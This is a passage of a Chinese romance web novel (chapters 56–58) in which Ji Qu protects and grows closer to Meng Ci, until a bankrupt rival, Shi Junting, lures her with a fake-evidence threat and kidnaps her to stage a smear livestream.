尖锐的问题充斥在耳间,孟慈站在喧闹之外,看着碎了一地的药瓶,黑色药丸四溅。 所以,季曲。 也走到这一天了吗? 第56章 第56章如果你再出事 季亮鸿去世的消息,很快便传遍了整个北城。 长到不见底荣誉,排列出季亮鸿的戎马一生。 出殡那天,孟慈在公司楼上见到了车队,她站在窗前,目送车队远走。 听说季亮鸿葬在了一处山清水秀的地方,是一早就选好的价值连城的地方。 公司的总经理Asher从法国回来不久,见到这个阵仗不免惊讶。 “季家影响力这么大?”Asher在午餐间隙提起。 旁边的同事一副震惊模样:“您不知道?” Asher一脸无辜:“我刚回国。” 同事们来了兴致,这些世家大族的八卦辛秘最是下饭,于是,一连串的故事传到孟慈耳朵里,包括季家二公子冲冠一怒为红颜和自己母亲决裂的故事。 听到这儿,孟慈正在喝水,不可避免地被呛了一下。 同事们看过来,给她递了纸巾。 Asher有些不信:“这些事都是真假掺半,季曲我见过一次,看着就不是什么专一的人。” 同事一瞪眼:“这可是真的,我同学就在他们公司,还见过他女朋友呢。” “怎么样?很漂亮吗?” “说比大明星都好看,但是听说性格不太好,总是冷冰冰的。” Asher说:“有照片吗?” “没有,他们老板宝贝得紧,什么照片和信息都没露出来,只听说好像给了个公司,但是具体是哪家也没提过。” Asher挑眉:“那是有点宝贝了,我可没少见送包送表的男人,送钱送公司还保护成这样的真是少见。” 孟慈坐在一旁听着,一方面奇怪他们怎么知道的这么细,一方面又觉得好笑。 原来在外人的角度,季曲这么“宝贝”自己。 拿着自己的餐盒,孟慈说自己吃好了先离开,下午还有客户要拜访,总经理摆摆手,说结束的晚就直接回家好了,不用再跑回公司。 孟慈说好,和众人再见。 孟慈离开后,八卦继续。 同事想了想又说:“那可不,听我同学说要不是婆婆不同意,估计两个人都要结婚了,他们老板专门拍了枚千万的钻戒。” Asher一想:“哪年的事啊?” “我算算。”同事心里默念,几秒钟后,“前年吧,前年春天。” Asher一拍桌子:“我就是那年见到的他!老板和他是同学,拍卖会上带着我过去打了个招呼,我记得他把压轴的钻石拍走了,老板问他是不是好事将近,他说还在努力,还打听了有没有切割钻石的师傅能介绍给他。” “那不就对上了?”同事感叹道,“现实真是和小说一样啊,这种时候了还有封建婚姻。” Asher笑笑:“大户人家就是这样的,挑剔的不行,恨不得找个仙女当儿媳妇。” 同事撇撇嘴:“什么样是仙女啊?好看还心地善良?那我看孟慈刚好符合。” “快得了。”Asher用餐纸擦了擦嘴,“孟慈可看不上这些,她一看就是那种谁都不爱的性子,懒得参与这些俗套的故事。” 其他人见状也开始收拾碗筷,午饭结束,八卦也告一段落,这些俗套故事,自然又被抛在角落。 过了几天,孟慈在开会时接到了孙谦的电话,孙谦没什么事一般不会联系自己,和总经理比了个手势,孟慈走到会议室外接电话。 “喂?” “孟总,您方便说话吗?” 孟慈走到茶水间反手关上门:“嗯。” 孙谦说:“是这样的,最近有些棘手的事,石骏廷您记得吗?” 孟慈思考一下,脑海中出现一张脸,“记得。” “他最近在搞事,不过都被我们处理了,但是我们发现他又有些不安生,我们怕他找到您那边。” “他在北城吗?” 孙谦说对,然后又问:“丁总最近出差结束了吗?” 孟慈反问:“丁昊?” “对。” 不知道这和丁昊有什么关系,但是上次午餐之后,丁昊又找过孟慈一次,孟慈便彻底说自己和丁昊应该是没有后续发展的可能性,自那以后两人间的联系便少了下去。 孟慈实话实说:“不太清楚,我和他最近没什么联系,不过这和他有什么关系?” 孙谦明显的卡顿一下:“您和丁总没什么联系?” 孟慈说对。 过了几秒,孙谦才再次开口:“是这样的,要是丁总也不在您身边,我们给您请了位保镖,平常就跟着您上下班,费用什么的都不用您操心。” “给我请保镖?”孟慈觉得有些荒唐,“你的意思是石骏廷会来找我?还会对我的人身安全产生威胁?” 孙谦说:“我们只是有备无患,您放心,我们找的保镖是专业的,不会对您的生活产生困扰,而且……要是丁总后期回来了,保镖或许就也不需要了。” 结束了通话后,孟慈还是处在混乱状态,石骏廷还能真的对自己产生什么伤害?孟慈觉得这实在小题大做。 但是保镖已经在公司前台报道,孟慈过去看了一眼,几乎不用什么思考,就把保镖辞退了,虽然她并不是发工资的那位。 自己的公司在市中心最繁华的写字楼群,上下班都是开车,小区也算得上高档,物业和安保二十四小时服务,最不济自己减少夜间外出的频次就好,实在没必要带着一个一米九的“墙”在外面招摇。 解决完保镖,又给孙谦发去自己不需要的短信,孟慈回到会议室继续开会。 晚上大家一起加了个小班,离开时已经快九点,外面夜色发深。 坐电梯到地下停车场,总经理送没有车的小朋友们回家,孟慈则是单独离开。 声控灯只照亮自己负责的范围,孟慈沿着车位号找自己的座驾,早上来的有些迟,随意找了个车位把车塞进去,导致孟慈忘了自己的车停在哪里,只能一边按车钥匙一边找。 车子应该离电梯口不远,因为孟慈记得自己没走几步就找到了电梯。 正当孟慈左右张望时,身后原本已经暗了的灯突然又亮了起来,孟慈回头,空无一人。 估计是自己刚刚走路的声音太大。 孟慈转过头,继续找车,突然,孟慈听到了除自己之外的第二个脚步声,就在自己身后,不远不近的地方。 脚步不自觉地放慢,孟慈走到一个转角,屏息转头,依旧空无一人。 但是明明听到声音,孟慈不由得想到孙谦提到的石骏廷,心猛然揪起。 与此同时,不远处突然传出一声猫叫,小小的,弱弱的,孟慈等了一会,看到一只小花猫慢慢地走出来,冲着孟慈喵了一声,然后又自顾自地离开了。 孟慈霎时间松了一口气,拍着胸脯怪自己神经太过紧绷,刚想转身继续找车,声控灯就灭了。 刚想用高跟鞋跺下地面,孟慈就感觉到自己的身后突然好像多了些什么,然后,头顶上吹来一股热气,是人的呼吸。 几乎是瞬间,孟慈就感觉到自己的头发全部立了起来,惊恐的尖叫声从嗓子眼 间冲出来,还没等几秒,嘴就被捂住。 孟慈被扳着肩膀原地转了个圈,声控灯因为她刚刚的尖叫再次点亮,孟慈回头,对上了季曲的脸。 他眼眶很红,却盛着细微的笑,“是我,怎么,害怕了?” 刚刚离开的人听到孟慈的惊呼,纷纷跑过来,嘴里还在喊孟慈的名字,却没想到过来后看到愣在原地的孟慈和一身黑衣的季曲。 还是Asher先认出人,他试探着叫了一句:“季总?” 季曲点头,意是默认。 孟慈被季曲吓得有些狠,还有些回不过神,季曲见状先揽着孟慈的肩膀带人离开,走时不忘和孟慈的同事们道别。 Asher目送着季曲开车离开:“季曲和孟慈认识?” 上次八卦的同事也站在旁边:“什么情况啊?孟慈不是有男朋友?” “分手了吧,好久没见到他来找孟慈姐了。”前台的小姑娘回忆道。 “新谈的?”总经理猜测道。 同事否认了这个可能:“季曲前段时候不一直在外地,看新闻是今天凌晨回来的,给他们家老爷子过头七。” 前台小姑娘突然想到之前的八卦:“孟慈姐该不会是你之前说的,季曲的女朋友吧?” 同事怔了一瞬,然后嘴突然张的像是能塞一个鸡蛋进去,“啊啊啊!不是吧?我在正主面前八卦人家了?你们谁还记得我说没说人家坏话啊?!” 一众人你看看我我看看你,陷入无端的沉默- 孟慈一直到车子驶出地下车库,身上的毛意才彻底缓解,季曲还时不时地摸摸孟慈的耳廓,像是小孩子受到惊吓后的补救措施。 季曲察觉到孟慈回过神,说:“如果换成别人,你敢想后果吗?” 孟慈挥开季曲还放在自己耳边的手:“没有那么多假设。” 季曲也没反驳:“丁昊回来我就让保镖离开。” 孟慈把手里捏着的车钥匙放回包里,说:“他今晚回来。” “那怎么没来接你?” “刚下飞机,有些累。”孟慈面不改色地胡诌。 季曲也没拆穿,有一句没一句的把话题往丁昊身上带,孟慈也就七七八八地糊弄着。 到了孟慈家,季曲非要送人上楼。 上了楼,自然又要进家坐一坐。 于是,季曲就在孟慈家拥有了一杯热水。 孟慈随手抓了只抱枕坐在沙发上,打了个哈欠。 季曲握着水杯,问:“丁昊不在吗?” 孟慈摆弄着抱枕的流穗:“嗯。” “那我进来方便吗?” “方便的。” “这么不介意?” 孟慈有些烦了:“你老提他干嘛?” 对上季曲含笑的眼,孟慈瞬间就明白了他一定已经打听清楚,现在就是跑来故意逗自己开心。 孟慈察觉到这些,坐直身子,毫不客气地说自己要睡觉了,请季曲离开,明明那早在山上已经说得清楚明白。 季曲端起水杯喝了一口,说:“保镖还是需要的,明天就过来,等到石骏廷的事结束,再给你撤掉。” “我不需要。”孟慈已经站起来往门口走,“季总,慢走不送。” 季曲也不恼,又慢慢地喝了一口水,放下杯子,才往门口走。 只不过他又压着孟慈放在门把上的手,把门关住了。 “事关你的安全,没得商量,或者我换成女保镖,你会不会方便些?” “我说了不需要。”孟慈语气有些重,“你不是说应该不会有再需要我来出头的事?” 季曲压着孟慈的手,连同门把一起握住,“我那时以为你还和丁昊一起。” “哪又怎样?” 季曲叹了口气:“我争不过他。” 孟慈没见过季曲认输:“你还有怕输的时候?” “嗯。”季曲低着头看着孟慈,“毕竟你是真的喜欢过他,甚至是的爱过他。” “你和我谈第二次的时候,还是选择分手,但是你和他谈第二次的时候,却打算和他结婚。” 季曲用空余的手,摆正孟慈歪了的项链,“我以为你真的非他不可。” 玄关处摆着孟慈喜欢的丹桂香薰,平常闻着甜美,此刻却有些苦涩。 孟慈想,这应该就是销售介绍的特殊之处,微量的杏仁味道,在孟慈鼻尖萦绕。 点到为止,季曲用力带着孟慈的手下压,门锁应声打开。 季曲说:“那我先走了,你自己注意安全。” 孟慈想到自己白天也打听了些石骏廷的消息,毕竟要不是自己当时给了石骏廷机会,他也不至于走到这步,听说他的公司破产,他也背负了千万债款。 人在极端环境下,自然会生出些更极端的心思。 想到这儿,孟慈的脸色也变得不算好看。 季曲怕孟慈多想,笑了笑,补救道:“石骏廷之前得罪了几家老人,他作为新公司吃了那么多红利,大多是在别人的地盘抢来的,墙倒众人推,我只是其中的一位。” 但却是力量最大的那位。 季曲明明在笑,但是眼眶却红地可怕,在孟慈的良久注视下,他终于再笑不出来,抿了抿干涩的嘴唇,他才自言自语般地说:“所以你千万不要出什么意外,你要好好的……” 如果你再出事,我是真的撑不住了。 季曲这么想着,却没说。 他扯着嘴角试图露出微笑让孟慈安心,努力半晌,却发现原来真的有自己做不到的事。 第57章 第57章绑架 那晚之后,孟慈接受了季曲聘请的保镖,每日和她一起出行,石骏廷没有出现,日子过得安稳。 季曲依旧在外奔波,除了按时回来给老爷子烧纸之外,所有的时间都在出差。 一般孟慈会在晚餐时间见到季曲,一周一次。 有的时候季曲来不及换清晨的衣服,身上还会有火味。 有的时候季曲会洗漱干净再来,等孟慈下班后一起去吃一顿晚饭,然后带着他的行李箱继续出发。 一直到入了秋,孟慈才发现自己和季曲的联系仿佛又回到之前那样。 每日的聊天框里总会出现些新内容,有时候是季曲问孟慈有没有按时吃饭,有时间则是让孟慈多加衣。 平淡的日子总是过得很快,比起生离死别,柴米油盐的缺失才会提醒人们又过了一段日子。 比如孟慈,她晚上做饭时忽然发现家里的酱油吃完了,偏偏菜已经下了锅,没办法,孟慈只能简单吃了些。 晚饭后,孟慈抱着消食的心理,打算去一趟小区附近的超市,补充下快要见底的材料,也买些新鲜的瓜果蔬菜。 工作日晚上的超市没什么客流量。 孟慈推着车在货架中来回挑选,酱油买了最常吃的那款,起身时又看到新上市的花生酱。 孟慈拿起来看看热量,不出意外的高,但是配料表却很干净。 犹豫再三,孟慈还是把花生酱放回原位,孟慈马上也是二十代中后段的年纪,经不起这么胡吃海塞。 推着车又往前走了一段,水果区的鲜橙摆了满墙。 孟慈抽了袋子挑了几只,走到称重处打了价签,孟慈拿着橙子回去找自己的车,却不在原位。 正怀疑是不是被别人推走了,孟慈的肩膀突然被人拍了一下,一回头,就看到季曲站在自己的身后。 季曲拿过孟慈手里的橙子放进车里,才抬眼说:“怎么自己出来了?” 孟慈算了算日子,还没到时间,季曲怎么提前回来了。 “家里酱油吃完了,临时决定出来买。” 季曲扫了眼购物车里的物品:“买这么多自己拎的动?” “可以留下信息让物业的工作人员帮我送。”孟慈又拿了一盒荔枝放到车里,“这家超市和小区的物业公司有合作。” 说完,孟慈又拿出手机给季曲展示了物业发的代金券。 季曲没再说什么,而是安静地跟在孟慈身后,直到购物车装满购物结束。 孟慈在自助结账机扫码,问:“你开车了吗?” 季曲挑眉:“怎么?不是物业能送?” “这不是有你,干嘛浪费资源。”孟慈自然地把装满的购物袋递给季曲,自己两手空空的出了门。 回家的路上季曲说自己还没来得及吃完饭,孟慈想了想,说完给季曲下一碗面吃,又合计了下家里的蔬菜,还没到家就已经规划好回家后的流程。 进了家后,季曲把购物袋放到餐厅,孟慈就让他 去沙发上休息等着吃饭。 季曲再三确认不用自己帮忙后,才走出厨房。 孟慈家的厨房是半开放式的,季曲刚好能看到孟慈的背影。 她把长发低低地扎在脑后,换了身浅杏色的家居服,时不时地还会用手背蹭一下被碎发刮痒鼻尖。 这么看着看着,季曲在菜刀落在案板上的声音中睡了过去。 孟慈切了点牛肉,又煎了一颗鸡蛋,汤底是用之前煮的高汤。 在加辣椒时,孟慈突然犯了难,她似乎不太清楚季曲最近是否能吃刺激性食物。 前几周的晚饭,大多是按照自己的口味来的,季曲吃的不算多。 想了想,孟慈还是打算出去问一下季曲本人。 “季……曲。” 孟慈一出厨房就看到季曲已经在沙发上睡着了,靠着一只抱枕,连鼻梁上的眼镜都没来得及摘。 自己在厨房这么大的动静都能睡着,季曲应该是真的很累了。 关掉客厅的灯,只留了一盏光线柔和的落地灯。 孟慈轻手轻脚地走到季曲面前,取了件毛毯盖在季曲身上,又小心翼翼地摘掉了季曲鼻梁上的眼镜。 途中季曲只是微皱了下眉,然后便再次陷入沉睡。 想来季曲这段时间也没休息好,饭什么时候吃都可以,反正自己随时可以热。 这么想着,孟慈干脆把厨房的灯也关掉了,从茶几上拿了本没看完的书,孟慈坐在离落地灯最近的那个沙发上继续阅读。 看着看着,自己竟也睡过去了。 再醒来时,墙上的时钟已经过了十二,孟慈转头看了一眼季曲,他还在睡着,呼吸绵长而平静。 但是一直保持一个姿势,等睡醒了一定腰酸背痛。 家里还有间次卧,本来是给裴沛准备的,但是裴沛一直没光临,里面的床品都是新的,刚好给季曲用。 孟慈活动了下自己睡软的筋骨,慢慢走到季曲面前,拍了拍季曲的手,“醒醒,去床上睡吧。” 季曲没动,孟慈又叫了一次,季曲这才有了反应。 他半睁开眼,似乎是辨认了一下自己的位置,然后才看向孟慈。 “要先吃饭吗?”孟慈看了眼季曲消瘦的下颌线,“还是直接睡觉?次卧里的床品都是……” 孟慈话还没说完就被季曲长臂一扯拉进了怀里,一个踉跄,孟慈的膝盖磕到了季曲的腹部,“嘭”的一声,在凌晨有些震耳。 “季曲,我磕到你了。”孟慈的下巴刚好卡在季曲的颈窝,上半身被季曲按地无法动弹。 季曲拍拍孟慈的后背,说没事。 可能是因为刚睡醒,季曲的体温有些高,孟慈与季曲皮肤相贴的地方,似乎在被火烤。 这段时间里,孟慈多多少少听说了季曲遇到的困难,也不是孟慈故意打听。 一方面是季家势力太大,一点风吹草动都会被放大,另一方面是朋友同事也在时不时地给孟慈宣传。 自从季曲每周一天固定来接孟慈下班后,同事们的八卦之心烧的更加烈。 Asher也私下问过孟慈,她和季曲什么关系。 孟慈迟疑,良久才给出一个朋友的答案。 对于两人之间的牵绊纠缠,以及藕断丝连的情感状态,孟慈只能用“朋友”一词来笼统盖过。 昏黄灯光下,孟慈伸手摸了摸对面人的眉眼。 季曲闭上眼任孟慈做什么,等到孟慈的指尖划过下巴后,季曲才睁开眼。 他的嗓音还有些刚睡醒的沙哑:“怎么样?我是不老了。” 没由来的一句惹得孟慈笑了一下:“谁说的?” “三十了。”季曲有些疲惫地说,“季澈家那个小姑娘说我长白头发了。” 听到这儿,孟慈伸手去扒拉季曲的发顶,季曲也配合地低下头。 “没有吧,小朋友看错了可能。”孟慈双手捧着季曲的脸认真道。 季曲弯了弯嘴角:“那就好。” 孟慈看着季曲松了一口气的样子,没忍住打趣道:“季曲也怕老?” “当然怕了。”季曲摸着孟慈垂下来的发尾,“你还这么年轻,我就老了。” “那怎么办?我们认识的时候你就比我大五岁。” 孟慈空出一只手在季曲面前晃晃,五根葱白的手指晃的季曲有些心口发闷。 忽视季曲眼底的失落,孟慈又开口:“我认识你的时候也才二十出头,现在不也要奔三了?” 话是这么说没错,但是季曲看着在昏暗的客厅里巧笑倩兮的孟慈,突然生出一种恐惧的空落。 摆摆头让离奇的想法离开大脑,季曲抬眼看着孟慈说自己饿了,不知道还有没有面吃。 孟慈说当然,然后没忘了问季曲要不要吃辣椒,得到不需要的答案后立马从季曲的腿上跳下去跑到了厨房。 十几分钟后,香气飘了出来,孟慈的声音跟着传出来,“季曲,帮我拿一下碗。” “来了。” 季曲回来之后,保镖也随之撤走,因为接送孟慈上下班的活被季曲一力揽下。 在风雨无阻地坚持了两个月以后,孟慈终于没忍住问季曲是不是公司破产了,还是季曲得了什么病。 结果自然是被季曲弹了一下额头。 声音大到一起下来的同事都回过头,只见到孟慈埋在季曲怀里,季曲笑着和大家摆了摆手,是没事的意思。 一直到家里,孟慈的额头都是红的,因此她一句话都没和季曲说。 “谁让你咒我。”季曲煮了个鸡蛋剥了壳给孟慈揉,“我明天要出趟门,差不多走两天。” 一直到鸡蛋凉下来,孟慈都没给季曲一个正眼。 季曲把订好的餐加热好放在餐桌上,又绕到孟慈身前,把孟慈拿反的书抽走,看了孟慈一会儿。 “好啦,别生气了,下次我轻点。” “饭都热好了,记得趁热吃,有你喜欢的烧腊和生灼菜心。” “这两天自己开车小心点,迟到也没事,你那点工资几近于无。” 季曲细细叨叨地安顿了一番,这才放心离开,他走的时候还把门口的垃圾顺手拎走扔掉。 孟慈站在阳台上看着季曲慢悠悠地扔了垃圾,又走到车前,拉开车门后没第一时间坐上去,反而抬头望了一眼。 孟慈连忙后撤一步,消失在窗户上。 数了几秒,再往下看的时候,车子已经消失了。 还没等孟慈有什么情绪,季曲的视频电话就打了过来,孟慈特地停了一会儿才接。 “干嘛?”孟慈的语气干巴巴的,有些凶。 季曲看着木地板,笑了笑,“赶紧吃饭,别在阳台晃悠了。” “我什么时候在阳台了?我一直在沙发上坐着看书呢。”孟慈回了一句。 季曲也没再拆台,依旧笑眯眯的,“我直接去机场了,落地要凌晨,你晚上早点休息,我到了给你发信息。” “别给我发信息,吵醒我怎么办?” “吵醒你我就再哄你睡觉。” “你还有那本事?” 季曲贫了几句,孟慈的语气也逐渐软了下来。 其实她的气早就消了,尤其是看到季曲顺手拿走垃圾的时候,孟慈想的是季曲什么时候才回来。 于是,孟慈就这么问了出来,“你出差多久?” “两天差不多。”季曲想了想,“我尽早。” “哦。”孟慈拨了拨碗里的米饭,看着色香味俱全的菜肴,失了胃口。 “你只需要上两天班,吃一顿日料,吃一顿川菜,有时间的话还可以看一部电影,我就回去了。” “嗯。” 季曲察觉到孟慈的低气压,但也没法折返,虽然他 也万般不情愿。 孟慈把手机关锁扔在一旁,看着凉透了的烧腊,有些可惜。 季曲出差的目的地在李港的地盘,一落地就被李港拐去了饭店,邓姚和沈棠溪也在,没有外人。 地道的糖醋口,季曲近几年少吃油腻调料味重的,为了保护身体。 李港特地多点了些清爽的时蔬。 饭局上,邓姚和沈棠溪聊起最近新出的一支包,配货千万都拿不到。 李港听到挑了挑眉:“这么难买?” “听说是限量版,全球就十支。”邓姚找到照片给李港看。 李港说这也一般啊。 沈棠溪夹了块糖醋排骨:“你们男人又不懂这些。” “我是不懂,但是我付得起帐。”李港摆出自己的歪理。 “我们自己也买得起好吗?”沈棠溪撇了李港一眼,“季总不买一支送人?” 季曲被点到名,也只是淡淡地说:“不用了,她不喜欢这些。” “没有女人不喜欢包包。”沈棠溪说完还看了看邓姚,得到了邓姚的点头附和。 邓姚为了保持身材只点了碗蔬菜汤喝,她一边晾一边说:“孟慈怎么没一起来?” 季曲吃了些蔬菜,自觉已经三五分饱,便放下了筷子,“她要上班。” “她那个班能挣多少钱啊?”沈棠溪对于季曲和孟慈的发展进度感到不快,“你赶紧把人娶回来做太太,然后把她送来上海找我玩。” “找你玩?”季曲想了想刚刚送沈棠溪来饭店的那位小模特,“算了吧,你别带坏她。” 邓姚在旁边笑,李港也跟着附和,说沈棠溪上个月领着的还是另一位呢,换的太快。 沈棠溪摆摆头发:“老娘这是及时行乐,不然老了再出来玩吗?” 季曲笑笑没说话,夜宵持续的时间不算长,毕竟第二天还有正事,不过两点众人就散了场。 等到季曲办好入住,已经快凌晨三点。 看了眼没有回复的聊天框,季曲就知道孟慈已经睡熟了,干脆没再联系她。 第二天一早,李港就带着车接上季曲去了郊外,目的地是男子监狱。 季曲和律师经过层层检查终于进去,李港则在外面等着。 日头从东边到了头顶,季曲才带着律师出来。 李港站在树荫下,等着季曲走过来,递了根烟,季曲摆摆手,说自己戒烟了。 李港惊奇道:“这玩意儿还真能戒?” 季曲挑眉:“怎么不行。” 从李港的外套口袋累掏出自己的手机,季曲看到孟慈拍了张早高峰的车尾巴。 上滑看了看时间,孟慈大约是迟到了。 打开相机,拍了张头顶的太阳,季曲打字“这里也很冷”发送。 李港在一旁看着,不屑地笑了下:“你就这点本事啊?钻戒送出去了吗?” 季曲买钻石的事,李港也清楚。 “还没,不想逼她。”季曲收起手机,“以后想怎么样我都随她。” 李港嘲讽季曲可能是年纪大了,连胆量都跟着变小不少。 季曲也没反驳,他已经很满足于现状。 “哎,说正事,石骏廷的踪迹说了吗?” “还没。”季曲摇摇头,“他手下的人都说不知道去哪了,威逼利诱都上了,不像是假的。” “啧。”李港不满道,“还真让他跑了?” 季曲拍拍李港的肩膀:“跑不了的,走吧。” 石骏廷破产后对季曲始终怀恨在心。 前段时间趁着季亮鸿去世联系了几波无赖在季家的工地造谣闹事。 一会儿说死了人不赔偿,一会儿说豆腐渣工程粗制滥造,还搞什么实名举报,搞出一股要把季曲弄死的气势。 他还找了季家的对手公司,一时间竟然真的被他们闹起些风波。 但是无根无据的事,总烧不起大火,季曲四处联系人打官司做谈判,黑的白的通通上了一遍,总算是都解决了。 但是临了却被石骏廷给跑了,至今下落不明。 最新的研判结果是石骏廷在周边出现过,有一家小宾馆有他的消费信息。 留着这么一个炸弹不是季曲的做事风格,因此他亲自找过来,准备彻底解决。 官方没有消息,只能等天黑了再找其他渠道。 李港带着季曲吃了饭,又给他塞了一堆礼品。 季曲看着地上的一堆礼盒就头疼:“至于吗?” 李港说当然,一个一个给季曲指,他爸的,他妈的,他哥的,孟慈的,薄娴的。 “你就不能下个月回去的时候给?”季曲知道邓姚下个月在北城有演唱会,李港一定会到场。 “下个月就是下个月的事了。”李港说关系就是越走动越近。 又检查了一遍没什么遗漏,李港才坐回沙发,“哎,你还和你妈闹呢?” 季曲给他倒了杯普洱:“没闹。” “快得了,我妈都知道你为了孟慈差点和你妈断绝母子关系。” “不至于。”季曲端着茶杯喝了一口,有些涩。 李港不想喝茶,去吧台取了瓶碳酸饮料,“还不至于?你妈生日你好久不出现了吧?我也没见你和你妈私下联系过。” 季曲放下茶杯,又拿起资料翻看石骏廷最近出现的地点,“我忙啊。” “谁不忙啊?”李港一口气喝了半瓶,“我这么忙不也得每周到我妈膝下报道。” 季曲懒得和李港继续贫嘴,他确实一时间没法谅解华婉的做法。 她完全可以对自己施压,而不是对着一个不属于这个圈子的小姑娘释放恶意。 还是两次。 季曲没法谅解,没法接受,至少现在不行。 即使季亮鸿在临走前还趁着意识清醒时给他打了电话。 在一番安顿他要守好季家,护好季家人后,还特地嘱咐一句家和万事兴。 但是季曲还是做不到。 李港看了眼时间还早,他约的饭局在晚上,便先离开让季曲休息。 季曲头也没抬,依旧专注在薄薄的一沓纸上,石骏廷的活动范围都在水边。 时间过得很快,季曲过完信息后,已经是傍晚,窗外的晚霞烧的通红,连到地平线尽头。 季曲看了眼手机,孟慈中午发来午饭的照片后再没有其他动静,即使季曲问她晚上几点下班要不要安排司机去接,也没人回信。 孟慈忙起来是这样的,不看消息不回信息。 又等了一会儿,六点整,该下班了,季曲才拨去电话,很快,对面传来您拨打的电话已关机的提示音。 季曲皱了皱眉,又拨给孟慈办公室的座机,长时间的应答声后,无人接听。 在通讯录翻到孟慈公司的总经理的电话,季曲拨过去。 响了几秒,对面有人接起。 季曲单刀直入地问孟慈是否还在公司,却听到Asher说孟慈午餐后说自己不太舒服要请个假,然后就没了消息。 季曲追问是孟慈打电话请的假吗?Asher说是发的信息。 完了。 季曲的心脏重重地跳了一下,然后停了数秒,再回神时,心跳声已经压过了一切笼罩在耳旁。 完了。 第58章 第58章车祸 李港接到季曲的电话时还在楼下陪邓姚逛街。 他只听到季曲在那边像疯了一样地喊,声音大到一米外的邓姚都能听到。 等他让季曲冷静一下,再仔细地听完季曲的话后,他和邓姚在对方的眼里都看到同样的情绪。 真他/妈的完了。 季曲等人落地北城的时候刚好赶上大雨。 车子被迫降低行驶速度,雨刷器反复摇摆,可见度也不到五米。 季曲双眼猩红地坐在后座,李港在旁边,赵一辰在副驾,孙谦开车。 车上没人说话。 季曲在联系不到孟慈的当下就报了警,还找了季澈帮忙。 原来石骏廷早就搭轮船到了北方,又雇了黑车混到北城,在蹲点了大半个月后,终于找到季曲不在的时间,跟踪孟慈到她的公司,把人绑了出来。 警察在监控 里发现孟慈是主动坐上石骏廷车子的。 季曲看着孟慈出现在停车场,然后左顾右盼地找到石骏廷开的那辆面包车,自己打开门坐了上去。 没人知道为什么。 只有孟慈知道。 当天中午,孟慈吃完饭后接到前台的电话,说有她的信件,拿回来一看,是石骏廷送的。 里面只写了寥寥数字。 【我有季曲犯法的证据,如果不想他和安翰一样,就来停车场。】 秋后的蚂蚱蹦跶不了几天,但是穷途末路的人却会发了疯的找人陪葬。 孟慈自然知道季曲不会干违法犯罪的勾当,但是又怕万一。 思考一番,孟慈觉得还是要给季曲说一声,让他来解决,但是刚想拨通电话,孟慈就又收到了一封邮件。 里面是一张截图,给各个新闻机构的定时发送,压缩包的大小有5个G。 而定时发送的时间,就在十分钟之后。 几乎没给孟慈犹豫的机会,她一边拨通季曲的电话,一边往楼下走,但是电话始终占线,孟慈以为是因为自己在电梯里。 到了地下停车场,孟慈继续拨给季曲,却听到不在服务区的提示音。 原本想编辑一条信息给季曲,却看到石骏廷把电脑屏幕对准自己,光标停在发送键上。 等到孟慈坐上车,手机被收走,手腕被手铐铐住,石骏廷才把电脑合上。 “还真是情深意切。”石骏廷在后视镜看了孟慈一眼,嘲讽一句。 孟慈没法确认邮件的真实程度,也没法给季曲报信。 见到孟慈一言不发,石骏廷才笑道:“现在才害怕?晚了吧?” 孟慈依旧不说话,她在算季曲要多久才发现自己出了意外。 绑上孟慈,石骏廷可能是完成了件大事,心情肉眼可见的好,连语气中也有雀跃:“放心,我没想伤害你,那可是要坐牢的,我家就出了我这么一个有出息的,可不能让我爸妈失望。” 遇到红灯,石骏廷把帽檐往下压了压,避免监控拍到。 孟慈看到这一幕,有些奇怪,毕竟公司的地下停车场有不少监控,顺藤摸瓜的事,现在才遮挡是不是有些晚。 许是看到孟慈的疑惑,石骏廷“好心”解释道:“我没想不动声色的带着你消失,这是做不到的事,我只是想拖延一下他们找到你的时间。” 一直到城市边缘,石骏廷带着孟慈换了辆皮卡,继续在夜幕里奔跑。 期间石骏廷还给孟慈扔了袋饼干,压缩的。 石骏廷一边开车一边吃,时不时地还喝口水,一眨眼的功夫就干了两块。 扭头看了眼没进食的孟慈,石骏廷说:“怎么?嫌弃?是比不上咱们之前在爱尔兰吃的那顿,但是也不打算太差,最起码饿不死。” 一直到东方既白,石骏廷才到了目的地,期间又换了两辆车,确保季曲不会太快找来。 石骏廷先下了车,站在原地伸了伸腰,然后才打开后门带孟慈下车。 孟慈打量着周围,是一幢两层的楼房,只不过有些破旧。 石骏廷拉着孟慈的胳膊建筑里走,一直到铁门门口,孟慈才看出来这是间教室。 让孟慈坐在教室中央的凳子上,石骏廷又转身出去。 孟慈的手脚都被绑死,想逃也没办法,况且石骏廷看起来是真的不会伤害自己。 石骏廷拿着相机和电脑回来,又带了一堆电线设备,随着他安装的进度,孟慈发现他好像造了一个简易的直播间。 因为在很偏远的村落,接收信号有些困难。 石骏廷在讲台上折腾了好久,也没成功,他抹了把头上的汗,点了根烟缓解压力。 “你要干什么?”孟慈终于说了第一句话,因为通宵的奔波及滴水未进,孟慈的声音很哑。 石骏廷抽了大半根烟,从怀里掏出一张纸,递到孟慈面前,字迹清秀,是他写的。 上面罗列着季曲的条条“罪证”。 石骏廷拿掉嘴边的烟:“麻烦你背会,一会儿对着镜头念出来。” 孟慈浏览一遍:“这是造谣。” “你怎么知道?”石骏廷笑了,“你真以为季曲是个清清白白的人?他的手段狠辣,你没见过而已。” 商人重利,商海浮沉,大多都有些手段傍身,不违法犯罪,不伤财害命,便算不得“罪证”。 孟慈只关心把自己引来的“钓饵”,她沉了沉心,“所以你说要发送给媒体的,也是这些?” 石骏廷把纸放在孟慈面前的课桌上,又去调试设备,“当然还有些照片录音。” 孟慈追问:“你合成的?” “这都不重要。”石骏廷调整了天线,“我只是帮大家找些线头,其他的大众自然会帮我发掘。” “所以你打算让我做证人?以什么身份?朋友?前女友?” “里面也有你和季曲的照片,他日复一日地接送你上下班,做不得假。”石骏廷说完还笑了笑,似乎是对自己的这个布置十分满意。 孟慈看到信号灯闪了几下,应该是快连接好了,“所以你会变成受害者,得到大众的支持,舆论的保护。” “当然,寒门状元,总比季曲的身份好收获同情。”石骏廷拍拍手上的灰,走到讲桌后,打开电脑,“昨晚下雨,电缆可能被刮断了,信号始终接收不到,我刚刚找了抢修,你猜老天爷站在谁那边?” 水泥地上的信号源还亮着红灯。 孟慈又开始沉默,反正她只是想知道石骏廷是不是真的有些什么证据。 既然没有,倒也不用自己再多费口舌。 看着讲座前的石骏廷,不过数日,他老了不少,头发白了一半,眉眼间全是沧桑。 看到孟慈的眼神,石骏廷下意识地抹了把头发,却发现自己还带着帽子。 在电脑屏幕的倒影中,石骏廷看到了自己狼狈的模样。 